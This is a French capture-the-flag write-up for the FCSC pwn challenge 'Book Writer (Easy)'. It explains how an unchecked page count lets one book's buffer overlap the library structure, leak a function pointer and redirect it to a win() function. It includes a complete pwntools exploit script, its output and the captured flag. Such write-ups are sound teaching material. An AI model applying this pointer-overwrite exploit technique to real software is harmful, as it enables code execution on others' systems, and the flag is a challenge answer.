Solution de mandragore pour Book Writer (Easy)

pwn x86/x64

18 janvier 2025

En testant rapidement on peut voir que le nombre de pages est arbitraire (-1 = crash). En désassemblant (avec BinaryNinja) on trouve une fonction win() bien pratique. Il faudra surement écraser un pointer de fonction, et l’object library[] en contient justement.

Il m’a fallu un moment pour comprendre la bonne valeur pour le nombre de page. Trop et malloc() renvoit 0, le pointeur content[] des livres est nul, et les fonctions read/write_page crashent. Pas assez et malloc() alloue une adresse dans la pile. STACKBOTTOM (0x1000000000000000) force malloc à allouer dans la heap, là où sera placée la structure library[].

On pourra accéder à cette plage mémoire depuis content[] du livre 1.

  1. on créé deux livres
  2. depuis livre 1 on lit l’adresse de la fonction read_page dans livre 2
  3. on remplace par l’adresse de la fonction win
  4. on lit une page du livre 2, ca appele win()
#!/usr/bin/env python3

from pwn import *

#context.log_level = 'DEBUG'
context.arch='amd64'

debug=False
local=True

bin=ELF('./book-writer-easy',checksec=False)
delta=bin.sym['win']-bin.sym['read_page'] # distance entre les deux fonctions

if local:
    p=process('./book-writer-easy')
    if debug:
        rdbg = gdb.attach(p,gdbscript='''
            break *main+0x22e
        #    break *read_page
        #    break *write_page
            c
            ''')
else:
    p=remote('127.0.0.1',4000)

# book 1

p.sendlineafter(b'Quitter',b'1')
p.sendlineafter(b'titre',b'w00f1')
p.sendlineafter(b'pages',str(0x1000000000000000).encode())  # we want the heap

# book 2

p.sendlineafter(b'Quitter',b'1')
p.sendlineafter(b'titre',b'w00f2')
p.sendlineafter(b'pages',b'1')

# back to book 1

p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'0')

# read

p.sendlineafter(b'Quitter\n',b'4')

buff=p.recvline()
ptr_read=unpack(buff[33:41])
print('livre 2, ptr read() : '+hex(ptr_read))

# write

p.sendlineafter(b'Quitter',b'3')
p.recvuntil('Que voulez-vous écrire ? \n'.encode('utf8'))
p.sendline(cyclic(32)+p64(ptr_read+delta))

# back to book 2

p.sendlineafter(b'Quitter',b'2')
p.sendlineafter(b'Choisissez',b'1')

# read 2

p.sendlineafter(b'Quitter',b'4')

print(p.recvall().strip())
$ bookwriter ./exploit.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
livre 2, ptr read() : 0x563f441461f9
[+] Receiving all data: Done (72B)
[*] Closed connection to 127.0.0.1 port 4000
b'FCSC{bfb3d25dd7b9c190536d707ca4e17352f7c055008207b15fa3d1dc048ae35176}'